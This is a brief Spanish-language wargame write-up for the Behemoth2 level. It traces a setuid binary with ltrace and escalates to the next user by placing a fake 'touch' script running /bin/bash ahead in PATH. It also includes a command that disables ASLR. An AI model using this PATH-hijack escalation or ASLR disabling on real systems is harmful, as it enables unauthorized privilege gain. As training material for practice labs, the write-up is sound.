Behemoth2

Recordamos deshabilitar ASLR con: $ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Analizando

behemoth2@behemoth:/behemoth$ ltrace ./behemoth2

__libc_start_main(0x804856b, 1, 0xffffd774, 0x8048660 <unfinished ...>
getpid()                                                                                                                        = 18657
sprintf("touch 18657", "touch %d", 18657)                                                                                       = 11
__lxstat(3, "18657", 0xffffd640)                                                                                                = -1
unlink("18657")                                                                                                                 = -1
geteuid()                                                                                                                       = 13002
geteuid()                                                                                                                       = 13002
setreuid(13002, 13002)                                                                                                          = 0
system("touch 18657"touch: cannot touch '18657': Permission denied
 <no return ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )                                                                                                          = 256
sleep(2000^C <no return ...>
--- SIGINT (Interrupt) ---
+++ killed by SIGINT +++
  • Analizando el binario con 'ltrace' podemos ver que hace una llamada a la función system con el comando touch.
  • Podemos crear un script llamado touch y añadir nuestro comando al PATH para que cuando usemos el binario ejecute nuestro script en lugar el comando touch original.

Explotando

behemoth2@behemoth:/behemoth$ mkdir /tmp/x4v1l0k_files
behemoth2@behemoth:/behemoth$ cd /behemoth/^C
behemoth2@behemoth:/behemoth$ echo "/bin/bash" > /tmp/x4v1l0k_files/touch
behemoth2@behemoth:/behemoth$ chmod +x /tmp/x4v1l0k_files/touch
behemoth2@behemoth:/behemoth$ export PATH="/tmp/x4v1l0k_files:$PATH"
behemoth2@behemoth:/behemoth$ ./behemoth2
behemoth3@behemoth:/behemoth$ id
uid=13003(behemoth3) gid=13002(behemoth2) groups=13002(behemoth2)
behemoth3@behemoth:/behemoth$